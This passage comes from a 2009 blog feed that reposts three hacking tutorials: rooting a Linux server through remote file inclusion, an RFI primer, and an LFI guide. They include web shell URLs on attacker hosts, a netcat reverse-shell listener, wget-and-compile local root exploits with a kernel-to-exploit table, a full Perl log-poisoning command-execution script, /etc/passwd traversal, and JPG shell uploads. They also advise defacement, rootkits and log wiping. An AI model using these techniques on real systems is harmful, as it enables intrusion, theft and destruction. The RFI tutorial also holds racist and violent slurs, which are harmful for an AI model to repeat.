/&gt;http://www.hackedsite.com/folder/index.html?page=http://www.mysite.com/shells/evilscript.txt?&lt;br /&gt;&lt;br /&gt;where evilscript.txt is our web shell that we have already uploaded to &lt;br /&gt;our site. (www.mysite.com in the folder: shells)&lt;br /&gt;&lt;br /&gt;After we enter in shell, first of all we will see the version of the kernel&lt;br /&gt;at the top of the page or by typing: uname - a in Command line.&lt;br /&gt;&lt;br /&gt;To continue we must connect with backconnection to the box. This can done with&lt;br /&gt;two ways if we have the suitable shell.&lt;br /&gt;&lt;br /&gt;We can use the Back-Connect module of r57/c99 shell or to upload a backconnector&lt;br /&gt;in a writable folder&lt;br /&gt;&lt;br /&gt;In most of the shells there is a backconnection feature without to upload the&lt;br /&gt;Connect Back Shell (or another one shell in perl/c). We will analyze the first&lt;br /&gt;way which is inside the shell (in our example the shell is r57).&lt;br /&gt;&lt;br /&gt;Initially we open NetCat and give to listen in a specific port (this port must &lt;br /&gt;be correctly opened/forwarded in NAT/Firewall if we have a router) with the &lt;br /&gt;following way:&lt;br /&gt;&lt;br /&gt;We will type: 11457 in the port input (This is the default port for the last versions&lt;br /&gt;of r57 shell). We can use and other port.&lt;br /&gt;&lt;br /&gt;We press in Windows Start -&gt; Run -&gt; and we type: cmd&lt;br /&gt;After we will go to the NetCat directory:&lt;br /&gt;&lt;br /&gt;e.g. &lt;br /&gt;&lt;br /&gt;cd C:\Program Files\Netcat&lt;br /&gt;&lt;br /&gt;And we type the following command:&lt;br /&gt;&lt;br /&gt;nc -n -l -v -p 11457&lt;br /&gt;&lt;br /&gt;NetCat respond: listening on [any] 11457 ...&lt;br /&gt;&lt;br /&gt;In the central page of r57 shell we find under the following menu::: Net:: and &lt;br /&gt;back-connect. In the IP Form we will type our IP (www.cmyip.com to see our ip if&lt;br /&gt;we have dynamic)&lt;br /&gt;&lt;br /&gt;In the Port form we will put the port that we opened and NetCat listens.&lt;br /&gt;&lt;br /&gt;If we press connect the shell will respond:&lt;br /&gt;&lt;br /&gt;Now script try connect to &lt;IP here&gt; port 11457 ...&lt;br /&gt;&lt;br /&gt;If our settings are correct NetCat will give us a shell to the server&lt;br /&gt;&lt;br /&gt;Now we wil continue to the Rooting proccess.&lt;br /&gt;&lt;br /&gt;We must find a writable folder in order to download and compile the Local&lt;br /&gt;Root Exploit that will give us root priviledges in the box. Depending on the version&lt;br /&gt;of the Linux kernel there are different exploits. Some times the exploits fail to run&lt;br /&gt;because some boxes are patched or we don't have the correct permissions.&lt;br /&gt;&lt;br /&gt;List of the exploits/kernel:&lt;br /&gt;&lt;br /&gt;2.4.17 -&gt; newlocal, kmod, uselib24&lt;br /&gt;2.4.18 -&gt; brk, brk2, newlocal, kmod&lt;br /&gt;2.4.19 -&gt; brk, brk2, newlocal, kmod&lt;br /&gt;2.4.20 -&gt; ptrace, kmod, ptrace-kmod, brk, brk2&lt;br /&gt;2.4.21 -&gt; brk, brk2, ptrace, ptrace-kmod&lt;br /&gt;2.4.22 -&gt; brk, brk2, ptrace, ptrace-kmod&lt;br /&gt;2.4.22-10 -&gt; loginx&lt;br /&gt;2.4.23 -&gt; mremap_pte&lt;br /&gt;2.4.24 -&gt; mremap_pte, uselib24&lt;br /&gt;2.4.25-1 -&gt; uselib24&lt;br /&gt;2.4.27 -&gt; uselib24&lt;br /&gt;2.6.2 -&gt; mremap_pte, krad, h00lyshit&lt;br /&gt;2.6.5 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.6 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.7 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.8 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.8-5 -&gt; krad2, h00lyshit&lt;br /&gt;2.6.9 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.9-34 -&gt; r00t, h00lyshit&lt;br /&gt;2.6.10 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.13 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;2.6.14 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;2.6.15 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;2.6.16 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;&lt;br /&gt;We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit exploit.&lt;br /&gt;&lt;br /&gt;Some sites that we can find Local Root Exploits:&lt;br /&gt;&lt;br /&gt;www.milw0rm (Try Search: "linux kernel")&lt;br /&gt;&lt;br /&gt;Other sites: www.packetstormsecurity.org | www.arblan.com&lt;br /&gt;or try Googlin' you can find 'em all ;-)&lt;br /&gt;&lt;br /&gt;We can find writable folders/files by typing:&lt;br /&gt;&lt;br /&gt;find / -perm -2 -ls&lt;br /&gt;&lt;br /&gt;We can use the /tmp folder which is a standard writable folder&lt;br /&gt;&lt;br /&gt;We type: cd /tmp&lt;br /&gt;&lt;br /&gt;To download the local root exploit we can use a download command for linux like&lt;br /&gt;wget.&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;wget http://www.arblan.com/localroot/h00lyshit.c&lt;br /&gt;&lt;br /&gt;where http://www.arblan.com/localroot/h00lyshit.c is the url of h00lyshit.&lt;br /&gt;&lt;br /&gt;After the download we must compile the exploit (Read the instruction of the exploit&lt;br /&gt;before the compile)&lt;br /&gt;&lt;br /&gt;For the h00lyshit we must type:&lt;br /&gt;&lt;br /&gt;gcc h00lyshit.c -o h00lyshit&lt;br /&gt;&lt;br /&gt;Now we have created the executable file: h00lyshit.&lt;br /&gt;&lt;br /&gt;The command to run this exploit is:&lt;br /&gt;&lt;br /&gt;./h00lyshit &lt;very big file on the disk&gt;&lt;br /&gt;&lt;br /&gt;We need a very big file on the disk in order to run successfully and to get root.&lt;br /&gt;&lt;br /&gt;We must create a big file in /tmp or into another writable folder.&lt;br /&gt;&lt;br /&gt;The command is:&lt;br /&gt;&lt;br /&gt;dd if=/dev/urandom of=largefile count=2M&lt;br /&gt;&lt;br /&gt;where largefile is the filename.&lt;br /&gt;&lt;br /&gt;We must wait 2-3 minutes for the file creation&lt;br /&gt;&lt;br /&gt;If this command fails we can try:&lt;br /&gt;&lt;br /&gt;dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024&lt;br /&gt;&lt;br /&gt;Now we can procced to the last step. We can run the exploit by typing:&lt;br /&gt;&lt;br /&gt;./h00lyshit largefile or&lt;br /&gt;&lt;br /&gt;./h00lyshit /tmp/largefile&lt;br /&gt;&lt;br /&gt;(If we are in a different writable folder and the largefile is created in /tmp)&lt;br /&gt;&lt;br /&gt;If there are not running errors (maybe the kernel is patched or is something wrong with&lt;br /&gt;exploit run or large file) we will get root&lt;br /&gt;&lt;br /&gt;To check if we got root:&lt;br /&gt;&lt;br /&gt;id or&lt;br /&gt;&lt;br /&gt;whoami&lt;br /&gt;&lt;br /&gt;If it says root we got root!&lt;br /&gt;&lt;br /&gt;Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.&lt;br /&gt;SSHDoor) and to take ssh/telnet shell access to the server.&lt;br /&gt;&lt;br /&gt;We must erase all logs in order to be safe with a log cleaner. A good cleaner for this&lt;br /&gt;job is the MIG Log Cleaner.&lt;br /&gt;&lt;br /&gt;-&lt;br /&gt;&lt;br /&gt;&lt;An@sA_StAxtH&gt; &lt;admin@cyberanarchy.org&gt; * &lt;www.cyberanarchy.org&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.packetstormsecurity.org/papers/attack/rfitutorial.txt" target="_blank"&gt;http://www.packetstormsecurity.org/papers/attack/rfitutorial.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-3305917023646260126?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/3305917023646260126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=3305917023646260126' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3305917023646260126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3305917023646260126'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/rfi-rooting-tutorial-linux-server-and.html' title='R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-6687254038828897729</id><published>2009-01-09T03:27:00.000-08:00</published><updated>2009-10-09T03:28:40.192-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rfi'/><title type='text'>RFI Tutorial (remote file inclusion)</title><content type='html'>Basically, the include function in PHP allows contents from local or remote files to be pretty much "copied and pasted" and executed in a script at runtime.&lt;br /&gt;&lt;br /&gt;Now suppose yo' dad wants a small website. All he wants is three pages.&lt;br /&gt;A blog page where he can update you on how many babies he has killed.&lt;br /&gt;A contact page with his email on it os people can ask advice on the best way to kill babies.&lt;br /&gt;An gallery page where he can show you pictures of all the babies he has killed.&lt;br /&gt;&lt;br /&gt;He creates four pages. blog.php, contact.php and gallery.php along with index.php, this is our "main" page that will contain a header, a side bar for navigation, some php and a footer.&lt;br /&gt;&lt;br /&gt;You would view the pages on his website like this.&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/index.php?page=blog.php&lt;br /&gt;http://www.yodad.com/index.php?page=contact.php&lt;br /&gt;http://www.yodad.com/index.php?page=gallery.php&lt;br /&gt;Let's take a look at the code for index.php&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;//html for header&lt;br /&gt;//html for menu&lt;br /&gt;&lt;?php&lt;br /&gt;$page = $_GET['page'];&lt;br /&gt;include($page);&lt;br /&gt;?&gt;&lt;br /&gt;//html for footer&lt;br /&gt;On line 2, $page is set to $_GET['page']&lt;br /&gt;&lt;br /&gt;This means when we go to &lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/index.php?page=blog.php&lt;br /&gt;$page is set to blog.php.&lt;br /&gt;On line 3 it is "included". The contents from blog.php is copied and pasted into index.php&lt;br /&gt;&lt;br /&gt;What's wrong with this? Well as I said earlier the include function can also include remote files. Files NOT on his web server.&lt;br /&gt;&lt;br /&gt;Say we change "blog.php" to "http://www.google.com"&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/index.php?page=http://www.google.com&lt;br /&gt;You would see the google home page instead of your dads shitty blog.&lt;br /&gt;&lt;br /&gt;What's the point of this?&lt;br /&gt;&lt;br /&gt;We can include "bad" or "evil" scripts. Some of you may heard of "shells" (r57,c99,g00nshell,peanut). Shells are scripts with functions like letting you view directories of the server it's executed on, deleting files, viewing files, letting you run system commands and more.&lt;br /&gt;&lt;br /&gt;Here's how we would use it:&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/index.php?page=http://evilsite.com/c99.txt&lt;br /&gt;* We have to use the shell as .txt so it's plaintext. If we used .php then the script would be executed on http://www.evilsite.com.&lt;br /&gt;&lt;br /&gt;Let's look at another example of a RFI.&lt;br /&gt;&lt;br /&gt;Undefined variables.&lt;br /&gt;&lt;br /&gt;Say yo' dad has learned how to use MySQL and to put content on his blog page he uses a form he created to connect to his MySQL server and insert his stories into a table.&lt;br /&gt;&lt;br /&gt;To connect to the MySQL server &amp; add content he needs a username &amp; a password. He stores these in a file called "db_details.php".&lt;br /&gt;&lt;br /&gt;The blog.php file needs these credentials to connect and get the content.&lt;br /&gt;&lt;br /&gt;so in index.php:&lt;br /&gt;Code:&lt;br /&gt;//html for header&lt;br /&gt;//html for menu&lt;br /&gt;&lt;?php&lt;br /&gt;$database_config_file = "db_details.php";&lt;br /&gt;$page = $_GET['page'];&lt;br /&gt;include($page);&lt;br /&gt;?&gt;&lt;br /&gt;//html for footer&lt;br /&gt;and in blog.php:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;?php&lt;br /&gt;include($database_config_file);&lt;br /&gt;//code to connect to MySQL and get the latest blog posts&lt;br /&gt;?&gt;&lt;br /&gt;Since we are calling blog.php through index.php like this:&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/index.php?page=blog.php&lt;br /&gt;, in index.php $database_config_file is set to "db_details.php" and in blog.php it is included. There is no problem there, it then can connect to the MySQL server with the credentials and retrieve his blog content.&lt;br /&gt;&lt;br /&gt;But, if we went to blog.php directly:&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/blog.php&lt;br /&gt;then $database_config_file is not set to anything. It still includes it but it is including nothing. Since we did not use index.php to access it, we did not get: $database_config_file = "db_details.php";&lt;br /&gt;&lt;br /&gt;This is a problem, since we can set it ourselves.&lt;br /&gt;If we go to&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/blog.php?database_config_file=http://evilsite.com/c99.txt&lt;br /&gt;$database_config_file will be set to http://www.evilsite.com/c99.txt&lt;br /&gt;&lt;br /&gt;Again, blog.php does not check if what it is including is valid.&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;As the famous inventor of PHP, Bill Gates says: There is more than one way to do it.&lt;br /&gt;&lt;br /&gt;There are a few ways to prevent these vulnerabilities.&lt;br /&gt;&lt;br /&gt;Yo' dad thinks he has gotten smart and has put in a method to stop little leet haxors like you.&lt;br /&gt;This one is easily bypassed.&lt;br /&gt;index.php:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;?php&lt;br /&gt;$page = $_GET['page'];&lt;br /&gt;include($page . ".php");&lt;br /&gt;?&gt;&lt;br /&gt;This means when we go to index.php?page=home it will actually include home.php.&lt;br /&gt;&lt;br /&gt;Omg, dat meanz it wont include my .txt, it will try to include .txt.php Sad.&lt;br /&gt;&lt;br /&gt;Not necessarily. If we put a question mark after the ".txt" then anything that index.php puts after $page will go to the remote script we are including.&lt;br /&gt;&lt;br /&gt;Like this:&lt;br /&gt;Code:&lt;br /&gt;http://www.yodad.com/index.php?page=http://evilsite.com/c99.txt&lt;br /&gt;Index.php would try and include :&lt;br /&gt;Code:&lt;br /&gt;http://www.evilsite.com/c99.txt?.php&lt;br /&gt;To prevent the problem with variables not being defined. Just make sure you define every variable that gets used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are a few other ways to prevent these vulnerabilities involving cleaning the input, checking if files exist etc but since I'm only typing with my big jew nose right now I can't be bothered going through them so I'm going to just do the most practical;&lt;br /&gt;&lt;br /&gt;Switching.&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;?php&lt;br /&gt;$page = $_GET['page'];&lt;br /&gt;switch($page){&lt;br /&gt;case "blog":&lt;br /&gt;include("blog.php");&lt;br /&gt;break;&lt;br /&gt;case "contact":&lt;br /&gt;include("contact.php");&lt;br /&gt;break;&lt;br /&gt;case "gallery":&lt;br /&gt;include("gallery.php");&lt;br /&gt;break;&lt;br /&gt;default: //A page wasn't chosen, or one that wasn't "home" or "gallery"&lt;br /&gt;echo "Choose a page from our fine selection!1!!";&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://per1ova.startlogic.com/showthread.php?t=594" target="_blank"&gt;https://per1ova.startlogic.com/showthread.php?t=594&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-6687254038828897729?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/6687254038828897729/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=6687254038828897729' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6687254038828897729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6687254038828897729'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/rfi-tutorial-remote-file-inclusion.html' title='RFI Tutorial (remote file inclusion)'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-2965301995997040649</id><published>2009-01-09T03:24:00.000-08:00</published><updated>2009-10-09T03:26:11.092-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lfi'/><title type='text'>LFI Tutorial (local file inclusion)</title><content type='html'>This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).&lt;br /&gt;&lt;br /&gt;First lets take a look at a php code that is vulnerable to LFI:&lt;br /&gt;Code:&lt;br /&gt;&lt;?php&lt;br /&gt;$page = $_GET[page];&lt;br /&gt;include($page);&lt;br /&gt;?&gt;&lt;br /&gt;Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.&lt;br /&gt;&lt;br /&gt;Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type victim.com/test/test.php will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru victim.com/index.php?page=test/test.php , see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory&lt;br /&gt;transversal using that will allow you to go up in the directories.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):&lt;br /&gt;Code:&lt;br /&gt;victim.com/index.php?page=../../../../../../../etc/ passwd&lt;br /&gt;If you don't know what to do with the content of etc/passwd then continue reading! The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;username: passwd:UID:GID:full_name:directory:shell&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;username:kbeMVnZM0oL7I:503:100:FullName:/home/user name:/bin/sh&lt;br /&gt;&lt;br /&gt;All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;username:x:503:100:FullName:/home/username:/bin/sh&lt;br /&gt;&lt;br /&gt;As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many&lt;br /&gt;processes, thats why you have access to it).&lt;br /&gt;&lt;br /&gt;You can also sometimes see something like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;username:!:503:100:FullName:/home/username:/bin/sh&lt;br /&gt;&lt;br /&gt;The ! indicates that the encoded password is stored in the etc/security/passwd file.&lt;br /&gt;&lt;br /&gt;Heres a couple of places that may be interesting to "visit":&lt;br /&gt;Code:&lt;br /&gt;/etc/passwd&lt;br /&gt;/etc/shadow&lt;br /&gt;/etc/group&lt;br /&gt;/etc/security/group&lt;br /&gt;/etc/security/passwd&lt;br /&gt;/etc/security/user&lt;br /&gt;/etc/security/environ&lt;br /&gt;/etc/security/limits&lt;br /&gt;/usr/lib/security/mkuser.default&lt;br /&gt;You will probably need to google for it as this is not the right tutorial to it.&lt;br /&gt;&lt;br /&gt;Just one more quick thing, its also common to find a vulnerable code like:&lt;br /&gt;Code:&lt;br /&gt;&lt;?php&lt;br /&gt;$page = $_GET["page"];&lt;br /&gt;include("$page.php");&lt;br /&gt;?&gt;&lt;br /&gt;In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:&lt;br /&gt;Code:&lt;br /&gt;victim.com/index.php?file=../../../../../../../../ etc/passwd&lt;br /&gt;it will retrieve:&lt;br /&gt;victim.com/index.php?file=../../../../../../../../ etc/passwd.php that file don't exist, and you will see an error message, so you need to apply the null byte ():&lt;br /&gt;Code:&lt;br /&gt;victim.com/index.php?file=../../../../../../../../ etc/passwd&lt;br /&gt;With the null byte the server will ignore everything that comes after .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:&lt;br /&gt;Code:&lt;br /&gt;../apache/logs/error.log&lt;br /&gt;../apache/logs/access.log&lt;br /&gt;../../apache/logs/error.log&lt;br /&gt;../../apache/logs/access.log&lt;br /&gt;../../../apache/logs/error.log&lt;br /&gt;../../../apache/logs/access.log&lt;br /&gt;../../../../../../../etc/httpd/logs/acces_log&lt;br /&gt;../../../../../../../etc/httpd/logs/acces.log&lt;br /&gt;../../../../../../../etc/httpd/logs/error_log&lt;br /&gt;../../../../../../../etc/httpd/logs/error.log&lt;br /&gt;../../../../../../../var/www/logs/access_log&lt;br /&gt;../../../../../../../var/www/logs/access.log&lt;br /&gt;../../../../../../../usr/local/apache/logs/access_ log&lt;br /&gt;../../../../../../../usr/local/apache/logs/access. log&lt;br /&gt;../../../../../../../var/log/apache/access_log&lt;br /&gt;../../../../../../../var/log/apache2/access_log&lt;br /&gt;../../../../../../../var/log/apache/access.log&lt;br /&gt;../../../../../../../var/log/apache2/access.log&lt;br /&gt;../../../../../../../var/log/access_log&lt;br /&gt;../../../../../../../var/log/access.log&lt;br /&gt;../../../../../../../var/www/logs/error_log&lt;br /&gt;../../../../../../../var/www/logs/error.log&lt;br /&gt;../../../../../../../usr/local/apache/logs/error_l og&lt;br /&gt;../../../../../../../usr/local/apache/logs/error.l og&lt;br /&gt;../../../../../../../var/log/apache/error_log&lt;br /&gt;../../../../../../../var/log/apache2/error_log&lt;br /&gt;../../../../../../../var/log/apache/error.log&lt;br /&gt;../../../../../../../var/log/apache2/error.log&lt;br /&gt;../../../../../../../var/log/error_log&lt;br /&gt;../../../../../../../var/log/error.log&lt;br /&gt;Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code &lt;? passthru($_GET[cmd]) ?&gt;. You will then type at your browser victim.com/&lt;? passthru($_GET[cmd]) ?&gt; and the php code will be logged because it "dosen't exist".&lt;br /&gt;&lt;br /&gt;This possibly won't work because if you go look into the log you will probably see the php code like this:&lt;br /&gt;Code:&lt;br /&gt;%3C?%20passthru($_GET[cmd])%20?&gt;&lt;br /&gt;because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:&lt;br /&gt;Code:&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;use IO::Socket;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;$site="victim.com";&lt;br /&gt;$path="/folder/";&lt;br /&gt;$code="&lt;? passthru($_GET[cmd]) ?&gt;";&lt;br /&gt;$log = "../../../../../../../etc/httpd/logs/error_log";&lt;br /&gt;&lt;br /&gt;print "Trying to inject the code";&lt;br /&gt;&lt;br /&gt;$socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;"$site", PeerPort=&gt;"80") or die "&lt;br /&gt;Connection Failed.&lt;br /&gt;&lt;br /&gt;";&lt;br /&gt;print $socket "GET ".$path.$code." HTTP/1.1&lt;br /&gt;";&lt;br /&gt;print $socket "User-Agent: ".$code."&lt;br /&gt;";&lt;br /&gt;print $socket "Host: ".$site."&lt;br /&gt;";&lt;br /&gt;print $socket "Connection: close&lt;br /&gt;&lt;br /&gt;";&lt;br /&gt;close($socket);&lt;br /&gt;print "&lt;br /&gt;Code $code sucssefully injected in $log&lt;br /&gt;";&lt;br /&gt;&lt;br /&gt;print "&lt;br /&gt;Type command to run or exit to end: ";&lt;br /&gt;$cmd = &lt;STDIN&gt;;&lt;br /&gt;&lt;br /&gt;while($cmd !~ "exit") {&lt;br /&gt;&lt;br /&gt;$socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;"$site", PeerPort=&gt;"80") or die "&lt;br /&gt;Connection Failed.&lt;br /&gt;&lt;br /&gt;";&lt;br /&gt;print $socket "GET ".$path."index.php=".$log."&amp;cmd=$cmd HTTP/1.1&lt;br /&gt;";&lt;br /&gt;print $socket "Host: ".$site."&lt;br /&gt;";&lt;br /&gt;print $socket "Accept: */*&lt;br /&gt;";&lt;br /&gt;print $socket "Connection: close&lt;br /&gt;&lt;br /&gt;";&lt;br /&gt;&lt;br /&gt;while ($show = &lt;$socket&gt;)&lt;br /&gt;{&lt;br /&gt;print $show;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "Type command to run or exit to end: ";&lt;br /&gt;$cmd = &lt;STDIN&gt;;&lt;br /&gt;}&lt;br /&gt;Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!&lt;br /&gt;&lt;br /&gt;That script will inject the code and then will ask you for a command to run on the server! You know what to do now!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.&lt;br /&gt;You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!&lt;br /&gt;&lt;br /&gt;This is a quick explanation, for a better understanding you can view the video at :&lt;br /&gt;Code:&lt;br /&gt;http://www.milw0rm.com/video/watch.php?id=57&lt;br /&gt;OR, IF you want a private way to upload shell in the server visit this link :&lt;br /&gt;Code:&lt;br /&gt;http://per1ova.com/showthread.php?t=400&lt;br /&gt;This article is in the PREMIUM AREA so you need to be a VIP member&lt;br /&gt;&lt;br /&gt;You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the edjpgcom program (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:&lt;br /&gt;Code:&lt;br /&gt;Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37&lt;br /&gt;If you can't force an error go back to the etc/passwd file:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh&lt;br /&gt;As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.&lt;br /&gt;&lt;br /&gt;In your browser type this (again, the nr of ../ may vary):&lt;br /&gt;Code:&lt;br /&gt;victim.com/index.php=../../../../../../../../../ho me/the_other_site_dir/public_html/path_to_your_avatar/avatar.jpg&lt;br /&gt;In order "words" should look like this (using fictitious "names"):&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;victim.com/index.php=../../../../../../../../../ho me/arcfull/public_html/forum/uploads/avatar.jpg&lt;br /&gt;After you type this you will see the result of the code inserted in the image!&lt;br /&gt;&lt;br /&gt;&lt;a href="https://per1ova.startlogic.com/showthread.php?t=595" target="_blank"&gt;https://per1ova.startlogic.com/showthread.php?t=595&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-2965301995997040649?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/2965301995997040649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=2965301995997040649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2965301995997040649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2965301995997040649'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/01/lfi-tutorial-local-file-inclusion.html' title='LFI Tutorial (local file inclusion)'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' 